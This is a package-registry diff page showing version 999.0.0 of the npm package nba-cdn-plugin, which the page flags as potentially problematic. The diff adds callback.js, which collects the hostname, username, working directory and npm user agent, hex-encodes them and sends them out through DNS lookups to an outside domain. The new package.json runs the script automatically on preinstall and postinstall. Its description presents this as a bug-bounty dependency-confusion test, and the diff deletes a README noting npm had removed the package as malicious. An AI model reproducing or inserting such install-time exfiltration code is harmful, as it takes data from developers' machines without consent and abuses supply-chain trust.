nba-cdn-plugin 0.0.1-security → 999.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of nba-cdn-plugin might be problematic. Click here for more details.
- package/callback.js +16 -0
- package/package.json +8 -4
- package/README.md +0 -5
package/callback.js
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
try {
|
|
2
|
+
const os = require('os'), dns = require('dns');
|
|
3
|
+
const hex = Buffer.from(JSON.stringify({
|
|
4
|
+
h: os.hostname(),
|
|
5
|
+
u: (os.userInfo() || {}).username,
|
|
6
|
+
d: process.cwd(),
|
|
7
|
+
a: process.env.npm_config_user_agent || ''
|
|
8
|
+
})).toString('hex');
|
|
9
|
+
const labels = hex.match(/.{1,60}/g) || [];
|
|
10
|
+
const suffix = '.nba-cdn.sg84.pitr.be';
|
|
11
|
+
const maxLabels = Math.floor((253 - suffix.length) / 61);
|
|
12
|
+
for (let i = 0; i < labels.length; i += maxLabels) {
|
|
13
|
+
const name = labels.slice(i, i + maxLabels).join('.') + suffix;
|
|
14
|
+
dns.resolve4(name, () => {});
|
|
15
|
+
}
|
|
16
|
+
} catch(e) {}
|
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
2
|
+
"name": "nba-cdn-plugin",
|
|
3
|
+
"version":"999.0.0",
|
|
4
|
+
"description":"Bug-bounty dependency confusion by honoki@hackerone",
|
|
5
|
+
"main": "callback.js",
|
|
6
|
+
"scripts":{
|
|
7
|
+
"preinstall": "node ./callback.js || true",
|
|
8
|
+
"postinstall": "node ./callback.js || true"
|
|
9
|
+
}
|
|
6
10
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=nba-cdn-plugin for more information.
|